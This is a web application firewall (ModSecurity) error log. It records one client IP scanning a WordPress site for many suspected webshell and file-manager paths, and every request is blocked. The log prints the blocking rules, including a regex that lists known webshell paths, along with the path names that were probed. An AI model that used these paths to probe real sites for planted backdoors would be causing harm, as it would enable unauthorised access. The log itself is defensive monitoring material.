[Sat Dec 13 21:47:34.444985 2025] [:error] [pid 20799:tid 20816] [client 4.194.162.164:53835] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aT1udqPz3eVRUTzZpOKKYwAAAs8"]
[Sat Dec 13 21:47:34.879495 2025] [:error] [pid 20799:tid 20821] [client 4.194.162.164:21700] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aT1udqPz3eVRUTzZpOKKZAAAAtQ"]
[Sat Dec 13 21:47:35.481249 2025] [:error] [pid 43747:tid 43771] [client 4.194.162.164:54337] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aT1ud5Yw3twBd_JQEHhD0gAAABQ"]
[Sat Dec 13 21:47:36.682789 2025] [:error] [pid 39287:tid 39303] [client 4.194.162.164:41934] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aT1ueDBwBW1JRRoCYqaRrQAAAQ4"]
[Sat Dec 13 21:47:37.336576 2025] [:error] [pid 43748:tid 43791] [client 4.194.162.164:53871] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aT1uearTT0VzE3gYjcC1nwAAAEw"]
[Sat Dec 13 21:47:37.649092 2025] [:error] [pid 43747:tid 43751] [client 4.194.162.164:21716] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aT1ueZYw3twBd_JQEHhD1AAAAAA"]
[Sat Dec 13 21:47:38.468806 2025] [:error] [pid 20799:tid 20812] [client 4.194.162.164:21750] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aT1ueqPz3eVRUTzZpOKKaAAAAss"]
[Sat Dec 13 21:47:40.066522 2025] [:error] [pid 21342:tid 21353] [client 4.194.162.164:1980] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aT1ufPBL0VVSMIEvqsuKRgAAAwc"]
[Sat Dec 13 21:47:41.314487 2025] [:error] [pid 8242:tid 8259] [client 4.194.162.164:1958] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aT1ufSNKA7vSGNUfnOFBQQAAAks"]
[Sat Dec 13 21:47:42.105040 2025] [:error] [pid 23013:tid 23017] [client 4.194.162.164:54360] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aT1ufqs9bDNWPQXUW1aopQAAA8I"]
[Sat Dec 13 21:47:43.251724 2025] [:error] [pid 55071:tid 55083] [client 4.194.162.164:1939] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aT1uf8HSpNduhEZ_mjffdQAAAYo"]
[Sat Dec 13 21:47:43.941842 2025] [:error] [pid 55071:tid 55079] [client 4.194.162.164:21710] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aT1uf8HSpNduhEZ_mjffdgAAAYY"]
[Sat Dec 13 21:47:44.872129 2025] [:error] [pid 23013:tid 23031] [client 4.194.162.164:54380] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aT1ugKs9bDNWPQXUW1aopwAAA9A"]
[Sat Dec 13 21:47:46.495338 2025] [:error] [pid 20799:tid 20810] [client 4.194.162.164:54359] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aT1ugqPz3eVRUTzZpOKKcAAAAsk"]
[Sat Dec 13 21:47:47.699460 2025] [:error] [pid 55071:tid 55093] [client 4.194.162.164:54353] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aT1ug8HSpNduhEZ_mjfffwAAAZQ"]
[Sat Dec 13 21:47:48.357517 2025] [:error] [pid 21342:tid 21346] [client 4.194.162.164:54358] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aT1uhPBL0VVSMIEvqsuKTAAAAwA"]
[Sat Dec 13 21:47:49.211605 2025] [:error] [pid 55071:tid 55081] [client 4.194.162.164:55830] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aT1uhcHSpNduhEZ_mjffhAAAAYg"]
[Sat Dec 13 21:47:51.244892 2025] [:error] [pid 39287:tid 39296] [client 4.194.162.164:58371] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aT1uhzBwBW1JRRoCYqaRtQAAAQc"]
[Sat Dec 13 21:47:51.479470 2025] [:error] [pid 22505:tid 22521] [client 4.194.162.164:58398] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miansha.php"] [unique_id "aT1uhzvNI-35hW16TnUlBQAAA44"]
[Sat Dec 13 21:47:51.927769 2025] [:error] [pid 8242:tid 8263] [client 4.194.162.164:54363] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aT1uhyNKA7vSGNUfnOFBRQAAAk8"]
[Sat Dec 13 21:47:52.929205 2025] [:error] [pid 43747:tid 43764] [client 4.194.162.164:55780] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aT1uiJYw3twBd_JQEHhD2AAAAA0"]
[Sat Dec 13 21:47:53.609199 2025] [:error] [pid 8242:tid 8258] [client 4.194.162.164:58383] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aT1uiSNKA7vSGNUfnOFBSQAAAko"]
[Sat Dec 13 21:47:54.209093 2025] [:error] [pid 55071:tid 55079] [client 4.194.162.164:54356] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test2.php"] [unique_id "aT1uisHSpNduhEZ_mjffjAAAAYY"]
[Sat Dec 13 21:47:54.657784 2025] [:error] [pid 8242:tid 8251] [client 4.194.162.164:54371] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aT1uiiNKA7vSGNUfnOFBSwAAAkM"]
[Sat Dec 13 21:47:56.082175 2025] [:error] [pid 21342:tid 21362] [client 4.194.162.164:53872] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aT1ujPBL0VVSMIEvqsuKUwAAAxA"]
[Sat Dec 13 21:47:56.549214 2025] [:error] [pid 8242:tid 8249] [client 4.194.162.164:1113] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aT1ujCNKA7vSGNUfnOFBTQAAAkE"]
[Sat Dec 13 21:47:57.665024 2025] [:error] [pid 22505:tid 22511] [client 4.194.162.164:21730] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aT1ujTvNI-35hW16TnUlDQAAA4Q"]
[Sat Dec 13 21:47:59.271666 2025] [:error] [pid 55071:tid 55091] [client 4.194.162.164:53841] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aT1uj8HSpNduhEZ_mjffkQAAAZI"]
[Sat Dec 13 21:48:00.278487 2025] [:error] [pid 55071:tid 55089] [client 4.194.162.164:55857] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aT1ukMHSpNduhEZ_mjfflAAAAZA"]
[Sat Dec 13 21:48:01.009826 2025] [:error] [pid 43836:tid 43843] [client 4.194.162.164:55829] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aT1ukWAEOBirsxb11nYHhQAAAMU"]
[Sat Dec 13 21:48:02.249618 2025] [:error] [pid 23013:tid 23016] [client 4.194.162.164:1859] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aT1ukqs9bDNWPQXUW1aoqQAAA8E"]
[Sat Dec 13 21:48:03.018640 2025] [:error] [pid 43836:tid 43850] [client 4.194.162.164:53878] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aT1uk2AEOBirsxb11nYHiAAAAMw"]
[Sat Dec 13 21:48:04.090014 2025] [:error] [pid 20799:tid 20809] [client 4.194.162.164:53827] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aT1ulKPz3eVRUTzZpOKKgAAAAsg"]
[Sat Dec 13 21:48:04.945866 2025] [:error] [pid 43836:tid 43858] [client 4.194.162.164:58426] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aT1ulGAEOBirsxb11nYHiQAAANQ"]
[Sat Dec 13 21:48:05.758418 2025] [:error] [pid 43836:tid 43856] [client 4.194.162.164:53826] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aT1ulWAEOBirsxb11nYHiwAAANI"]
[Sat Dec 13 21:48:06.228100 2025] [:error] [pid 43836:tid 43855] [client 4.194.162.164:56264] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aT1ulmAEOBirsxb11nYHjAAAANE"]
[Sat Dec 13 21:48:07.174888 2025] [:error] [pid 20799:tid 20806] [client 4.194.162.164:53833] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aT1ul6Pz3eVRUTzZpOKKhgAAAsU"]
[Sat Dec 13 21:48:08.602680 2025] [:error] [pid 20799:tid 20825] [client 4.194.162.164:53843] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aT1umKPz3eVRUTzZpOKKiAAAAtg"]
[Sat Dec 13 21:48:10.420888 2025] [:error] [pid 22505:tid 22521] [client 4.194.162.164:56285] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aT1umjvNI-35hW16TnUlEgAAA44"]
[Sat Dec 13 21:48:11.478392 2025] [:error] [pid 23013:tid 23022] [client 4.194.162.164:58373] [client 4.194.162.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aT1um6s9bDNWPQXUW1aoqgAAA8c"]
[Sat Dec 13 21:48:12.919639 2025] [:error] [pid 43747:tid 43759] [client 4.194.162.164:55816] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aT1unJYw3twBd_JQEHhD4QAAAAg"]
[Sat Dec 13 21:48:14.035316 2025] [:error] [pid 43748:tid 43784] [client 4.194.162.164:55851] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aT1unqrTT0VzE3gYjcC1pgAAAEU"]
[Sat Dec 13 21:48:21.011621 2025] [:error] [pid 21342:tid 21348] [client 4.194.162.164:56277] [client 4.194.162.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aT1upfBL0VVSMIEvqsuKbgAAAwI"]
[Sat Dec 13 21:48:22.526995 2025] [:error] [pid 55071:tid 55091] [client 4.194.162.164:58403] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aT1upsHSpNduhEZ_mjffogAAAZI"]
[Sat Dec 13 21:48:22.961844 2025] [:error] [pid 43747:tid 43756] [client 4.194.162.164:21704] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aT1uppYw3twBd_JQEHhD7wAAAAU"]
[Sat Dec 13 21:48:23.824553 2025] [:error] [pid 22505:tid 22511] [client 4.194.162.164:21712] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aT1upzvNI-35hW16TnUlFwAAA4Q"]
[Sat Dec 13 21:48:24.326952 2025] [:error] [pid 43836:tid 43847] [client 4.194.162.164:1877] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aT1uqGAEOBirsxb11nYHmAAAAMk"]
[Sat Dec 13 21:48:25.765749 2025] [:error] [pid 43747:tid 43759] [client 4.194.162.164:1089] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aT1uqZYw3twBd_JQEHhD8wAAAAg"]
[Sat Dec 13 21:48:26.824794 2025] [:error] [pid 20799:tid 20818] [client 4.194.162.164:1914] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aT1uqqPz3eVRUTzZpOKKmQAAAtE"]
[Sat Dec 13 21:48:27.336246 2025] [:error] [pid 55071:tid 55076] [client 4.194.162.164:56266] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aT1uq8HSpNduhEZ_mjffrQAAAYM"]
[Sat Dec 13 21:48:28.128065 2025] [:error] [pid 22505:tid 22509] [client 4.194.162.164:56276] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ouh.php"] [unique_id "aT1urDvNI-35hW16TnUlGgAAA4I"]
[Sat Dec 13 21:48:29.481034 2025] [:error] [pid 8242:tid 8270] [client 4.194.162.164:58385] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aT1urSNKA7vSGNUfnOFBcQAAAlY"]
[Sat Dec 13 21:48:30.822142 2025] [:error] [pid 55071:tid 55082] [client 4.194.162.164:1142] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aT1ursHSpNduhEZ_mjffrwAAAYk"]
[Sat Dec 13 21:48:31.840670 2025] [:error] [pid 21342:tid 21346] [client 4.194.162.164:55817] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aT1ur_BL0VVSMIEvqsuKcgAAAwA"]
[Sat Dec 13 21:48:33.296827 2025] [:error] [pid 8242:tid 8269] [client 4.194.162.164:56270] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aT1usSNKA7vSGNUfnOFBcwAAAlU"]
